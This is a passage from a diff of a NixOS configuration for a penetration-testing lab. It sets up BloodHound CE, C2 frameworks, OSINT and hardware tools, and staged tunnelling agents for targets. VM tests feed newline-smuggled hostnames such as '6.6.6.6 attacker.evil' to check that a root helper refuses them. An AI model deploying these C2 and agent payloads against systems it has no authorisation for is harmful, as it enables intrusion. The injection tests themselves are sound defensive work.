is to turn it off. - # Nothing is lost: this listens on localhost for one local tool. - https.enable = false; + # NOT services.neo4j: that module is pinned to nixpkgs' neo4j + # 2026.09, which BloodHound CE cannot talk to (it calls `db.indexes`, + # gone in Neo4j 5). This is the same shape, on 4.4. + # + # Neo4j wants a WRITABLE home: the distribution lives in the store, + # so the pre-start builds one under the state directory with lib/ + # symlinked in and real conf/data/logs/run dirs. + systemd.services.neo4j = { + description = "Neo4j 4.4 (for BloodHound)"; + wantedBy = [ ]; # a JVM wanting ~1 GB; started by `bloodhound` + serviceConfig = { + Type = "simple"; + User = "bloodhound"; + Group = "bloodhound"; + StateDirectory = "bloodhound"; + StateDirectoryMode = "0750"; + Environment = [ + "NEO4J_HOME=${stateDir}/neo4j" + "NEO4J_CONF=${stateDir}/neo4j/conf" + ]; + ExecStartPre = "${neo4jSetup}"; + ExecStart = "${lib.getExe neo4j44} console"; + Restart = "no"; + TimeoutStartSec = "180"; + }; }; services.postgresql = { @@ -84,66 +264,69 @@ ensureDBOwnership = true; } ]; + # BloodHound connects over TCP with a password (its DSN is + # postgresql://user:secret@addr/db), and NixOS' ensureUsers sets no + # password. Trust for this one role, on this one database, from + # loopback only. + authentication = lib.mkAfter '' + host bloodhound bloodhound 127.0.0.1/32 trust + host bloodhound bloodhound ::1/128 trust + ''; }; - # neo4j is held back from boot: it is a JVM that wants about a - # gigabyte, and this laptop should not pay for it on every boot just - # because the category is installed. - # - # postgresql is NOT held back. Forcing its wantedBy empty does not - # keep it down — other units pull it in, as the VM test showed — and - # it is small enough that fighting NixOS over it buys nothing. - systemd.services.neo4j.wantedBy = lib.mkForce [ ]; - - environment.systemPackages = - let - # postgresql is usually already up; starting it again is a no-op. - units = "neo4j.service postgresql.service"; - sudo = "/run/wrappers/bin/sudo"; - in - [ - (pkgs.writeShellScriptBin "bloodhound-up" '' - set -euo pipefail - echo "starting ${units} (neo4j takes ~20s to accept bolt)…" - ${sudo} -n systemctl start ${units} - for i in $(seq 1 60); do - if ${pkgs.curl}/bin/curl -fsS http://127.0.0.1:7474 >/dev/null 2>&1; then - echo "neo4j is up: http://127.0.0.1:7474" - echo "bloodhound-ce api: run 'bloodhound-ce' (first run prints admin creds)" - exit 0 - fi - sleep 1 - done - echo "neo4j did not answer on 7474 within 60s; journalctl -u neo4j" >&2 - exit 1 - '') - (pkgs.writeShellScriptBin "bloodhound-down" '' - set -euo pipefail - ${sudo} -n systemctl stop ${units} - echo "stopped ${units}" - '') - (pkgs.writeShellScriptBin "bloodhound-status" '' - ${pkgs.systemd}/bin/systemctl --no-pager --plain status ${units} 2>&1 | \ - ${pkgs.gnugrep}/bin/grep -E "^(.|●)? ?(neo4j|postgresql)|Active:" || true - '') - ]; + systemd.services.bloodhound-ce = { + description = "BloodHound CE API server"; + wantedBy = [ ]; # started by `bloodhound ce` + after = [ "neo4j.service" "postgresql.service" ]; + requires = [ "neo4j.service" "postgresql.service" ]; + serviceConfig = { + Type = "simple"; + ExecStartPre = "${mkConfig}"; + ExecStart = "${lib.getExe pkgs.bloodhound-ce} -configfile ${configFile}"; + User = "bloodhound"; + Group = "bloodhound"; + StateDirectory = "bloodhound"; + StateDirectoryMode = "0750"; + WorkingDirectory = stateDir; + Restart = "no"; + # It only needs loopback and its own state. + PrivateTmp = true; + ProtectSystem = "strict"; + ProtectHome = true; + NoNewPrivileges = true; + ReadWritePaths = [ stateDir ]; + }; + }; - # Scoped the same way as fan-ec (modules/hosts/laptop/fan-cli.nix): - # fixed store scripts, one job each, wheel only, these units only. + users.users.bloodhound = { + isSystemUser = true; + group = "bloodhound"; + home = stateDir; + description = "BloodHound CE and its neo4j"; + }; + users.groups.bloodhound = { }; + + environment.systemPackages = [ bloodhound ]; + + # Scoped as fan-cli.nix does: wheel, no password, these units only. security.sudo.extraRules = [ { groups = [ "wheel" ]; commands = [ - { command = "/run/current-system/sw/bin/systemctl start neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; } - { command = "/run/current-system/sw/bin/systemctl stop neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; } + { command = "${systemctl} start ${dbUnits}"; options = [ "NOPASSWD" ]; } + { command = "${systemctl} stop ${dbUnits}"; options = [ "NOPASSWD" ]; } + { command = "${systemctl} start bloodhound-ce.service"; options = [ "NOPASSWD" ]; } + { command = "${systemctl} stop bloodhound-ce.service"; options = [ "NOPASSWD" ]; } + { command = "${pkgs.coreutils}/bin/cat ${stateDir}/admin.pw"; options = [ "NOPASSWD" ]; } ]; } ]; }; }) - # The deliverable here is two running databases, so the test boots a VM and - # checks they actually come up — a binary-resolution check cannot see that. + # The deliverable is "one command brings BloodHound up", so the test boots + # a VM and drives that command — a binary-resolution check cannot see + # whether neo4j actually starts or the API actually answers. { perSystem = { pkgs, ... }: @@ -151,7 +334,7 @@ checks.pentest-bloodhound-vm = pkgs.testers.runNixOSTest { name = "pentest-bloodhound"; - nodes.machine = { + nodes.machine = { pkgs, ... }: { imports = [ self.nixosModules.pentest-options self.nixosModules.pentest-bloodhound @@ -160,7 +343,8 @@ enable = true; bloodhound.enable = true; }; - virtualisation.memorySize = 3072; # neo4j is a JVM + virtualisation.memorySize = 4096; # neo4j is a JVM + virtualisation.diskSize = 4096; _module.args.user = "daemonsec"; users.users.daemonsec = { isNormalUser = true; @@ -171,26 +355,53 @@ testScript = '' machine.wait_for_unit("multi-user.target") - # neo4j must not be running at boot — that is the point of - # holding its wantedBy empty. postgresql is allowed to be up. + def as_user(cmd): + return f"su -l daemonsec -c {cmd!r}" + + # neo4j must NOT be running at boot: that is the point of + # holding its wantedBy empty — it is a JVM wanting a gigabyte. machine.fail("systemctl is-active neo4j.service") + machine.fail("systemctl is-active bloodhound-ce.service") - # ...and they start on demand, without a password, as the user. - machine.succeed("su -l daemonsec -c bloodhound-up") + # One command brings up both databases and the API, as the user, + # with no password. + machine.succeed(as_user("bloodhound ce"), timeout=300) machine.wait_for_unit("neo4j.service") machine.wait_for_unit("postgresql.service") + machine.wait_for_unit("bloodhound-ce.service") + + # neo4j answers, and auth really is disabled (BloodHound has no + # credentials for it). machine.wait_for_open_port(7474) machine.succeed("curl -fsS http://127.0.0.1:7474 >/dev/null") - # The database bloodhound-ce expects exists and is owned by it. + # The CE API serves its login page — this is what was previously + # only asserted in a comment. + machine.wait_for_open_port(8080) + machine.succeed("curl -fsS http://127.0.0.1:8080/ui/login >/dev/null") + + # The generated config and credentials exist and are not world + # readable, and `bloodhound creds` can read them back. + machine.succeed("test -s /var/lib/bloodhound/bhapi.json") + machine.succeed("test \"$(stat -c %a /var/lib/bloodhound/bhapi.json)\" = 600") + machine.succeed(as_user("bloodhound creds") + " | grep -q '^user: admin'") + machine.succeed(as_user("bloodhound creds") + " | grep -qE '^pass: .+'") + + # The database BloodHound expects exists and it owns it. machine.succeed( - "sudo -u postgres psql -tAc \"select 1 from pg_database where datname='bloodhound'\" | grep -q 1" + "sudo -u postgres psql -tAc " + "\"select 1 from pg_database where datname='bloodhound'\" | grep -q 1" ) - machine.succeed("su -l daemonsec -c bloodhound-down") + machine.succeed(as_user("bloodhound status") + " | grep -q 'CE UI'") + + # Down stops all three. + machine.succeed(as_user("bloodhound down")) + machine.fail("systemctl is-active bloodhound-ce.service") machine.fail("systemctl is-active neo4j.service") - # And the passwordless rule really is scoped to these units. - machine.fail("su -l daemonsec -c 'sudo -n systemctl start sshd.service'") + + # The passwordless grant is scoped to these units only. + machine.fail(as_user("sudo -n /run/current-system/sw/bin/systemctl start sshd.service")) ''; }; }; diff --git a/modules/features/pentest/c2.nix b/modules/features/pentest/c2.nix @@ -0,0 +1,23 @@ +# modules/features/pentest/c2.nix — command-and-control frameworks. +# Off by default. `daemon.pentest.c2.enable = true;` +# +# Metasploit (msfconsole, msfvenom) is NOT here: it is in shells.nix, because +# it is the thing you reach for on nearly every box, C2 or not. This category +# is the frameworks you stand up deliberately — they want a listener on a +# routable address, a profile, and a team server. +# +# Nothing here starts a service. A C2 listener is something you bring up by +# hand, for one engagement, on a port you chose. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "c2"; + description = "C2 frameworks: havoc, villain (metasploit is in shells)"; + default = false; + + packages = pkgs: with pkgs; [ + havoc # team server + client; Demon agent + villain # lightweight: upgrades netcat shells, shares them between sessions + ]; + + expectedBins = [ "havoc" "villain" ]; +} diff --git a/modules/features/pentest/core.nix b/modules/features/pentest/core.nix @@ -22,6 +22,11 @@ pkgs.sshpass pkgs.rlwrap # line editing in a dumb reverse shell pkgs.jq + # The dotfiles' engagement database (~/.dotfiles/config/database.zsh: + # `htb-list`, `htb-newbox`, `creds`, `findings`, `flags`, `note`) shells + # out to sqlite3 nineteen times and to `column` from util-linux. Without + # sqlite3 every one of those fails with "_pdb_init: command not found". + pkgs.sqlite pkgs.dnsutils # dig, nslookup pkgs.iputils pkgs.util-linux @@ -36,6 +41,8 @@ "sshpass" "rlwrap" "dig" + "sqlite3" + "column" # util-linux; the dotfiles' DB views need it ]; extraConfig = { lib, ... }: { diff --git a/modules/features/pentest/database.nix b/modules/features/pentest/database.nix @@ -0,0 +1,49 @@ +# modules/features/pentest/database.nix — clients for the databases you find +# listening, once credentials turn up. +# Off by default. `daemon.pentest.database.enable = true;` +# +# Clients only, and that is a deliberate constraint rather than a preference: +# +# * No `postgresql`. The bloodhound category runs a postgres SERVICE, and +# NixOS puts that service's package (17.x) into environment.systemPackages +# itself. Adding `pkgs.postgresql` (currently 18.x) would give two store +# paths owning bin/psql, which is a profile collision that stops the whole +# system building. So `psql` comes from the bloodhound category, and this +# one brings `pgcli`, which is a better interactive client anyway. +# * `mariadb.client`, not `mariadb` — the latter is the server, and installs +# mariadbd and its data-directory tooling for nothing. +# +# sqlmap is in web.nix: it is an injection tool, not a database client. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "database"; + description = "mysql, postgres, mssql, redis and mongo clients"; + default = false; + + packages = pkgs: with pkgs; [ + mariadb.client # `mysql`, `mariadb`, `mysqldump` — MySQL and MariaDB + mycli # the same with completion and history + + pgcli # postgres; `psql` itself comes with the bloodhound category + + # MSSQL, which is what an AD estate actually runs + freetds # `tsql` — the one that works with just a host and port + sqsh + sqlcmd # Microsoft's own client + + redis # `redis-cli` + mongosh + + usql # one client for all of the above, by URL + ]; + + expectedBins = [ + "mysql" "mariadb" "mysqldump" "mycli" + "pgcli" + "tsql" "bsqldb" "sqsh" "sqlcmd" + "redis-cli" "mongosh" + "usql" + ]; + + smokeBins = [ "mycli" "pgcli" "usql" ]; +} diff --git a/modules/features/pentest/default.nix b/modules/features/pentest/default.nix @@ -38,9 +38,14 @@ # Off by default; one line each in configuration.nix to enable. pentest-dfir # memory, disk, log and artefact forensics pentest-reversing # disassembly, decompilation, exploit dev - pentest-wireless # wifi attacks and packet capture + pentest-wireless # wifi attacks, rogue APs, packet capture + pentest-radio # SDR, bluetooth, RFID/NFC (separate hardware) + pentest-hardware # firmware flashing, UART/JTAG, logic, CAN + pentest-c2 # havoc, villain (metasploit is in shells) + pentest-database # mysql, postgres, mssql, redis, mongo clients pentest-cloud # AWS, Azure, GCP, Kubernetes pentest-osint # public-source collection + pentest-social # phishing infrastructure; authorised scope only pentest-mobile # Android application testing ]; }; diff --git a/modules/features/pentest/devshells.nix b/modules/features/pentest/devshells.nix @@ -21,7 +21,7 @@ perSystem = { pkgs, lib, ... }: let - sets = self.pentestPackages or { }; + sets = self.lib.pentestPackages or { }; allPackages = lib.concatMap (f: f pkgs) (lib.attrValues sets); names = lib.attrNames sets; in diff --git a/modules/features/pentest/gui.nix b/modules/features/pentest/gui.nix @@ -4,9 +4,12 @@ # Kept separate from the headless categories: enabling `web` should not drag in # a JDK, and a remote session should be able to skip this entirely. # -# programs.wireshark is set here with lib.mkDefault so gui and wireless can -# both be on without conflicting — wireless.nix sets the same option the same -# way, and either alone is enough to get the dumpcap capability wrapper. +# programs.wireshark is set here at mkDefault (1000) and in wireless.nix at a +# weaker 1500, so this one wins when both categories are on and either alone +# still gets the dumpcap capability wrapper. They may NOT both be mkDefault: +# types.package merges with mergeEqualOption, and `==` on two derivations is +# false even for one store path, so equal priorities are a hard conflict. +# See the longer note in wireless.nix. { lib, ... }: (import ./_sets.nix { inherit lib; }) { name = "gui"; diff --git a/modules/features/pentest/hardware.nix b/modules/features/pentest/hardware.nix @@ -0,0 +1,62 @@ +# modules/features/pentest/hardware.nix — the physical layer: flashing chips, +# talking to a UART, driving JTAG/SWD, sniffing a logic bus, CAN. +# Off by default. `daemon.pentest.hardware.enable = true;` +# +# This is the "you have the device open on the bench" category. Firmware +# extraction (binwalk) lives in dfir.nix and the disassembly of what you pull +# off the chip lives in reversing.nix — this is only the part that moves bytes +# on and off hardware. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "hardware"; + description = "firmware flashing, UART/JTAG, logic analysers and CAN"; + default = false; + + packages = pkgs: with pkgs; [ + # Flashing and dumping + flashrom # SPI flash, in-circuit or on a programmer + esptool # ESP8266/ESP32: esptool, espefuse, espsecure + avrdude + dfu-util # anything speaking USB DFU + stlink # st-flash, st-info — ST-Link probes + + # Debug ports + openocd # JTAG/SWD, the generic answer + + # Serial + minicom + picocom + + # Logic analysis + sigrok-cli + pulseview # the GUI for the same capture + + # Vehicle and industrial buses + can-utils # candump, cansend, cangen, isotpdump, … + ]; + + expectedBins = [ + "flashrom" "esptool" "espefuse" "avrdude" "dfu-util" "st-flash" "st-info" + "openocd" + "minicom" "picocom" + "sigrok-cli" "pulseview" + "candump" "cansend" "cangen" + ]; + + extraConfig = { pkgs, lib, user, ... }: { + # Probes and programmers are USB devices; without their rules you are + # running every one of the above as root. + services.udev.packages = with pkgs; [ + openocd + stlink + sigrok-cli + ]; + + # A USB serial adapter appears as /dev/ttyUSB* owned by group `dialout`, + # so without this `picocom /dev/ttyUSB0` needs sudo. The host's user is in + # networkmanager and wheel only, so the membership is granted HERE and goes + # away with the category. `dialout` already exists in NixOS, so only the + # membership is added. + users.users.${user}.extraGroups = [ "dialout" ]; + }; +} diff --git a/modules/features/pentest/htb.nix b/modules/features/pentest/htb.nix @@ -5,8 +5,14 @@ # htbtarget print it # htbtarget clear forget it, and clear /etc/hosts # htbtime [host] clock-skew helper (defaults to $TARGET) -# htb new <box> [ip] scaffold ~/htb/<box> and set the target -# htb ls boxes worked, newest first +# htbbox new <box> [ip] scaffold ~/htb/<box> and set the target +# htbbox ls boxes worked, newest first +# +# It is `htbbox`, not `htb`, on purpose: the dotfiles' pentesting.zsh already +# defines an `htb()` shell function, and a zsh function always beats a command +# on PATH — so an `htb` here would simply never run. Their `htb-newbox` does +# the same scaffolding backed by a sqlite database; this one sets \$TARGET as +# well, which is what makes it visible in every terminal. # # Why a file and a shell hook rather than an exported variable: a variable set # in one terminal cannot reach a shell that is already running. The target @@ -58,18 +64,28 @@ echo "htb-hosts: cleared" ;; set) ip="''${2:-}"; shift 2 || true - names="$*" - [ -n "$ip" ] && [ -n "$names" ] || { echo "usage: htb-hosts set <ip> <name>…" >&2; exit 2; } - - # Re-validate as root. Anything but a bare address and DNS labels is - # refused, so nothing can smuggle extra lines into /etc/hosts. + [ -n "$ip" ] && [ "$#" -gt 0 ] || { echo "usage: htb-hosts set <ip> <name>…" >&2; exit 2; } + + # Re-validate as root: this helper is reachable DIRECTLY through a + # NOPASSWD sudo rule, so its own checks are the real boundary, not + # htbtarget's. + # + # Each argument is validated as ONE token — `for n in "$@"`, quoted. + # An earlier version did `names="$*"` then `for n in $names`, which + # word-split on whitespace: every token passed the DNS-label test + # while the embedded newline survived into the printf, writing an + # arbitrary extra line into /etc/hosts as root. The deny pattern + # below rejects a newline only because the argument is not split. case "$ip" in *[!0-9a-fA-F.:]*|"") echo "htb-hosts: bad address: $ip" >&2; exit 2 ;; esac - for n in $names; do + names="" + for n in "$@"; do case "$n" in - *[!A-Za-z0-9.-]*|-*|.*|"") echo "htb-hosts: bad hostname: $n" >&2; exit 2 ;; + *[!A-Za-z0-9.-]*|-*|.*|"") + echo "htb-hosts: bad hostname: $n" >&2; exit 2 ;; esac + names="''${names:+$names }$n" done tmp=$(mktemp) @@ -130,13 +146,25 @@ return 0 } + # Every branch ends with an explicit `exit 0`: a consumer like + # `htbtarget | grep -q 10.10.11.5` exits as soon as it matches, the + # trailing echo takes EPIPE, and with `set -o pipefail` that would + # otherwise become this script's exit status. Same bug as time.nix had. case "''${1:-}" in - "") show ;; + "") show; exit 0 ;; clear) rm -f "$STATE/target" "$STATE/host" "$STATE/box" - ${sudo} -n ${lib.getExe htb-hosts} clear >/dev/null 2>&1 || true - echo "htbtarget: cleared" ;; - -h|--help) echo "usage: htbtarget [<ip> [hostname…]] | clear" ;; + # Report a failure rather than claiming success: if the helper + # cannot rewrite /etc/hosts, a stale FQDN mapping survives and the + # next box's Kerberos resolves to the previous DC. + if ! ${sudo} -n ${lib.getExe htb-hosts} clear >/dev/null 2>&1; then + echo "htbtarget: state cleared, but /etc/hosts was NOT updated" >&2 + echo "htbtarget: a stale name mapping may survive — check /etc/hosts" >&2 + exit 1 + fi + echo "htbtarget: cleared" + exit 0 ;; + -h|--help) echo "usage: htbtarget [<ip> [hostname…]] | clear"; exit 0 ;; *) ip="$1"; shift if ! valid_ip "$ip"; then @@ -159,7 +187,8 @@ else rm -f "$STATE/host" fi - show ;; + show + exit 0 ;; esac ''; @@ -203,7 +232,7 @@ ## loot ''; - htb = pkgs.writeShellScriptBin "htb" '' + htbbox = pkgs.writeShellScriptBin "htbbox" '' set -uo pipefail PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused ]}:$PATH ${stateSh} @@ -212,8 +241,8 @@ case "''${1:-ls}" in new) box="''${2:-}" - [ -n "$box" ] || { echo "usage: htb new <box> [ip]" >&2; exit 2; } - case "$box" in *[!A-Za-z0-9_.-]*|.*|"") echo "htb: bad box name: $box" >&2; exit 2 ;; esac + [ -n "$box" ] || { echo "usage: htbbox new <box> [ip]" >&2; exit 2; } + case "$box" in *[!A-Za-z0-9_.-]*|.*|"") echo "htbbox: bad box name: $box" >&2; exit 2 ;; esac d="$ROOT/$box" mkdir -p "$d"/{nmap,loot,creds,www,exploit} if [ ! -e "$d/notes.md" ]; then @@ -227,16 +256,57 @@ [ -n "''${3:-}" ] && ${lib.getExe htbtarget} "$3" >/dev/null echo "$d" ;; ls) - [ -d "$ROOT" ] || { echo "no boxes yet — htb new <box>"; exit 0; } + [ -d "$ROOT" ] || { echo "no boxes yet — htbbox new <box>"; exit 0; } ls -1dt "$ROOT"/*/ 2>/dev/null | ${pkgs.gnused}/bin/sed "s|$ROOT/||;s|/$||" || echo "no boxes yet" ;; - -h|--help) echo "usage: htb new <box> [ip] | ls" ;; - *) echo "usage: htb new <box> [ip] | ls" >&2; exit 2 ;; + -h|--help) echo "usage: htbbox new <box> [ip] | ls" ;; + *) echo "usage: htbbox new <box> [ip] | ls" >&2; exit 2 ;; esac ''; in { config = lib.mkIf on { - environment.systemPackages = [ htbtarget htbtime htb htb-hosts ]; + environment.systemPackages = [ htbtarget htbtime htbbox htb-hosts ]; + + # $TARGET in every terminal. + # + # This has to be the NixOS option, not home-manager's + # programs.zsh.initContent: zsh's real configuration here is the + # dotfiles' ZDOTDIR tree (modules/home/shell.nix points ZDOTDIR at + # ~/.dotfiles), home-manager's zsh module is not even enabled, and so + # it generates no ~/.zshrc at all. An earlier version of this lived + # there and was dead code — the state file was written and no shell + # ever read it. + # + # /etc/zshrc is sourced for every interactive zsh BEFORE + # $ZDOTDIR/.zshrc, so this coexists with the dotfiles rather than + # competing with them, and `add-zsh-hook` appends, so their own precmd + # hooks still run. + programs.zsh.interactiveShellInit = lib.mkAfter '' + # --- htb target, shared across terminals --------------------------- + # Re-read before each prompt, so a target set in another terminal + # shows up here. Three small reads of files under $XDG_STATE_HOME. + _htb_state="''${XDG_STATE_HOME:-$HOME/.local/state}/htb" + _htb_load() { + if [[ -s "$_htb_state/target" ]]; then + local t + t="$(<"$_htb_state/target")" + export TARGET="''${t%%$'\n'*}" + export RHOST="$TARGET" IP="$TARGET" + else + unset TARGET RHOST IP + fi + if [[ -s "$_htb_state/box" ]]; then + local b + b="$(<"$_htb_state/box")" + export BOX="''${b%%$'\n'*}" + else + unset BOX + fi + } + autoload -Uz add-zsh-hook + add-zsh-hook precmd _htb_load + _htb_load + ''; # Makes /etc/hosts a real, writable file instead of a store symlink. # Without this htb-hosts cannot work at all (and says so). @@ -260,16 +330,20 @@ checks.pentest-htb-vm = pkgs.testers.runNixOSTest { name = "pentest-htb"; - nodes.machine = { + nodes.machine = { pkgs, ... }: { imports = [ self.nixosModules.pentest-options self.nixosModules.pentest-htb ]; daemon.pentest.enable = true; + # The real host has zsh as the login shell; /etc/zshrc (where the + # $TARGET loader goes) only exists when this is on. + programs.zsh.enable = true; _module.args.user = "daemonsec"; users.users.daemonsec = { isNormalUser = true; extraGroups = [ "wheel" ]; + shell = pkgs.zsh; }; }; @@ -310,22 +384,57 @@ # localhost must survive all of this. machine.succeed("grep -q '127.0.0.1 localhost' /etc/hosts") + # The ROOT helper must refuse the same input, not just htbtarget: + # it is reachable directly through a NOPASSWD sudo rule, so its own + # validation is the real boundary. `names="$*"` + unquoted `for n in + # $names` word-split each token while leaving the newline intact, + # which wrote an arbitrary second line into /etc/hosts as root. + machine.fail("htb-hosts set 1.2.3.4 $'dc01.htb\n6.6.6.6 attacker.evil'") + machine.fail("grep -q attacker.evil /etc/hosts") + machine.fail("su -l daemonsec -c \"sudo -n htb-hosts set 1.2.3.4 $'a\n9.9.9.9 evil2'\"") + machine.fail("grep -q evil2 /etc/hosts") + machine.succeed("grep -q '127.0.0.1 localhost' /etc/hosts") + # clear removes both the state and the block. machine.succeed(as_user("htbtarget clear")) machine.fail("grep -q 'BEGIN htb' /etc/hosts") machine.succeed(as_user("htbtarget") + " | grep -q 'no target set'") + # C1, the whole point of the feature: an interactive shell must + # actually export $TARGET. The state file existing is not enough — + # the first implementation wrote the file and no shell ever read it. + machine.succeed(as_user("htbtarget 10.10.11.5 dc01.vintage.htb")) + # NB the escaped dollars: `su -l … -c "…"` runs a NON-interactive + # login shell, which would expand $TARGET to empty itself before the + # inner interactive zsh (the one that sources /etc/zshrc) ever sees + # it. That made this assertion fail against working code once. + out = machine.succeed( + "su -l daemonsec -c 'zsh -ic \"echo T=\\$TARGET R=\\$RHOST I=\\$IP\"'" + ) + for want in ["T=10.10.11.5", "R=10.10.11.5", "I=10.10.11.5"]: + assert want in out, f"expected {want} in a fresh shell, got: {out!r}" + + # ...and clearing it must unset them, not leave a stale value. + machine.succeed(as_user("htbtarget clear")) + # No brackets: zsh globs "[]" and fails on no-match. No braced + # parameter expansion either, because Nix interpolates that out of + # this testScript string. A trailing dot shows an empty expansion. + out = machine.succeed( + "su -l daemonsec -c 'zsh -ic \"print -r -- t=\\$TARGET.\"'" + ) + assert "t=." in out, f"expected $TARGET unset after clear, got: {out!r}" + # htbtime with no target must name the command that sets one. machine.fail(as_user("htbtime") + " 2>&1 | grep -q htbtarget") # Engagement scaffolding. - out = machine.succeed(as_user("htb new escape 10.10.11.202")).strip() + out = machine.succeed(as_user("htbbox new escape 10.10.11.202")).strip() assert out.endswith("/htb/escape"), out for sub in ["nmap", "loot", "creds", "www", "exploit"]: machine.succeed(f"test -d /home/daemonsec/htb/escape/{sub}") machine.succeed("grep -q '^# escape' /home/daemonsec/htb/escape/notes.md") machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.202") - machine.succeed(as_user("htb ls") + " | grep -q escape") + machine.succeed(as_user("htbbox ls") + " | grep -q escape") ''; }; }; diff --git a/modules/features/pentest/options.nix b/modules/features/pentest/options.nix @@ -11,18 +11,83 @@ # # Scope: authorised lab use (HackTheBox CPTS prep). Nothing here points at any # host; the operator supplies targets at runtime. -{ inputs, lib, ... }: +{ inputs, lib, self, ... }: { - # Each category file sets `flake.pentestPackages.<name>` (_sets.nix). That has - # to be DECLARED as an attribute set, or flake-parts treats the whole - # `flake.pentestPackages` as one freeform value and the second category to - # define it fails with "defined multiple times". devshells.nix reads the - # merged result to build the union shell and the collision check. + # `daemon.pentest.enable = false` must be a usable state, not an eval error. + # The spec gives the master switch `default = false`, so "off" is the normal + # case for any other machine built from this flake. This check evaluates the + # whole toolkit with the master switch off and fails if any assertion fires. + # Under `config` because this module also declares `options`. + config.perSystem = + { pkgs, system, ... }: + let + probe = enable: + inputs.nixpkgs.lib.nixosSystem { + inherit system; + specialArgs = { + inherit inputs; + user = "probe"; + }; + modules = [ + self.nixosModules.pentest + { + daemon.pentest.enable = enable; + # Enough to make a nixosSystem evaluate. + boot.loader.grub.devices = [ "nodev" ]; + fileSystems."/" = { device = "/dev/null"; fsType = "ext4"; }; + system.stateVersion = "26.05"; + nixpkgs.config.allowUnfree = true; + users.users.probe.isNormalUser = true; + } + ]; + }; + failures = enable: + map (a: a.message) (builtins.filter (a: !a.assertion) (probe enable).config.assertions); + offFailures = failures false; + in + { + checks.pentest-options-off = + if offFailures != [ ] then + throw '' + daemon.pentest.enable = false must evaluate cleanly, but these + assertions fired: + ${lib.concatMapStringsSep "\n" (m: " - " + m) offFailures} + '' + else + pkgs.runCommand "pentest-options-off-check" { } '' + echo "daemon.pentest.enable = false evaluates with no failed assertions" > $out + ''; + }; + + # Each category file registers its package list here (_sets.nix), and + # devshells.nix reads the merged result for the union shell and the + # all-category collision check. + # + # It lives under `flake.lib` rather than a top-level `flake.pentestPackages` + # for two reasons: the option has to be DECLARED as an attribute set, or + # flake-parts treats the whole thing as one freeform value and the second + # category to define it fails with "defined multiple times"; and `lib` is an + # output Nix recognises, so `nix flake check` does not warn about an unknown + # flake output. options.flake = inputs.flake-parts.lib.mkSubmoduleOptions { - pentestPackages = lib.mkOption { - type = lib.types.lazyAttrsOf lib.types.raw; + lib = lib.mkOption { + # A submodule, not a bare attrset: `pentestPackages` has to merge across + # the category files, so it needs its own attrsOf option. The freeform + # type keeps `flake.lib` open for anything else. + type = lib.types.submoduleWith { + modules = [ + { + freeformType = lib.types.lazyAttrsOf lib.types.raw; + options.pentestPackages = lib.mkOption { + type = lib.types.lazyAttrsOf lib.types.raw; + default = { }; + description = "Per-category `pkgs -> [package]` functions, by category name."; + }; + } + ]; + }; default = { }; - description = "Per-category `pkgs -> [package]` functions, by category name."; + description = "Flake-level helpers, including pentestPackages."; }; }; diff --git a/modules/features/pentest/osint.nix b/modules/features/pentest/osint.nix @@ -1,18 +1,58 @@ # modules/features/pentest/osint.nix — open-source collection. # Off by default. `daemon.pentest.osint.enable = true;` +# +# Passive by intent: nothing here touches the target's infrastructure, it asks +# third parties what they already know. That is also the caveat — most of these +# want an API key to be useful (shodan, censys, hunter.io, haveibeenpwned), and +# a key is a secret, so it belongs in secrets/secrets.yaml and not in a config +# file here. `recon-ng`'s keystore and `sn0int`'s are per-user state. +# +# Active DNS and host enumeration is recon.nix, not this. { lib, ... }: (import ./_sets.nix { inherit lib; }) { name = "osint"; - description = "people, domain and account enumeration from public sources"; + description = "people, domain, account and metadata collection from public sources"; default = false; packages = pkgs: with pkgs; [ + # Frameworks theharvester # `theHarvester` recon-ng # recon-ng, recon-cli + sn0int # package-manager model, its own script registry + + # Accounts and people sherlock maigret - holehe + holehe # which sites an email is registered on + socialscan + h8mail # breach-corpus lookups + + # Domains and names + dnstwist # typosquats and homoglyphs of a domain + fierce + + # What a target has already published + assetfinder + waybackurls # URLs the Wayback Machine has for a host + gau # the same idea, more sources + photon # crawler that keeps the interesting strings + + # Their code and their files + gitleaks # secrets in a git history + trufflehog # the same, plus verification of live keys + exifprobe # exifprobe, exifgrep — metadata out of published documents + ]; + + expectedBins = [ + "theHarvester" "recon-ng" "recon-cli" "sn0int" + "sherlock" "maigret" "holehe" "socialscan" "h8mail" + "dnstwist" "fierce" + "assetfinder" "waybackurls" "gau" "photon" + "gitleaks" "trufflehog" "exifprobe" "exifgrep" ]; - expectedBins = [ "theHarvester" "recon-ng" "recon-cli" "sherlock" "maigret" "holehe" ]; + # The python ones, actually run: a tool that installs and then dies on a + # missing module passes `command -v` and fails you mid-engagement. This is + # how `masky` was caught (see _overlay.nix). + smokeBins = [ "dnstwist" "photon" "h8mail" "socialscan" "fierce" ]; } diff --git a/modules/features/pentest/payloads.nix b/modules/features/pentest/payloads.nix @@ -46,6 +46,13 @@ let # used for these: it fails for ligolo-ng (its install check tries to run # the Windows binary on the builder), while a plain GOOS/GOARCH override # works for every target. One mechanism for all of them. + # Even the NATIVE linux slots go through goCross: a plain + # pkgs.chisel/pspy is dynamically linked against this machine's glibc and + # dies on a target with "No such file or directory". CGO_ENABLED=0 in + # goCross makes them static. + linLigolo = goCross pkgs.ligolo-ng "linux" "amd64"; + linChisel = goCross pkgs.chisel "linux" "amd64"; + linPspy = goCross pkgs.pspy "linux" "amd64"; winLigolo = goCross pkgs.ligolo-ng "windows" "amd64"; winChisel = goCross pkgs.chisel "windows" "amd64"; armLigolo = goCross pkgs.ligolo-ng "linux" "arm64"; @@ -63,6 +70,9 @@ let pkgs.runCommand "pentest-payloads" { meta.description = "Staged offensive payloads for authorised lab use"; + # Everything here is meant to run on another machine; a rewritten + # shebang pointing into this machine's store would break it there. + dontPatchShebangs = true; } '' set -euo pipefail @@ -141,23 +151,29 @@ let ''} ##### Linux ########################################################### - pick $out/linux/amd64/agents/ligolo-agent ${pkgs.ligolo-ng} 'ligolo-agent' - pick $out/linux/amd64/agents/chisel ${pkgs.chisel} 'chisel' + pick $out/linux/amd64/agents/ligolo-agent ${linLigolo} 'ligolo-agent' 'agent' + pick $out/linux/amd64/agents/chisel ${linChisel} 'chisel' pick $out/linux/arm64/agents/ligolo-agent ${armLigolo} 'ligolo-agent' 'agent' pick 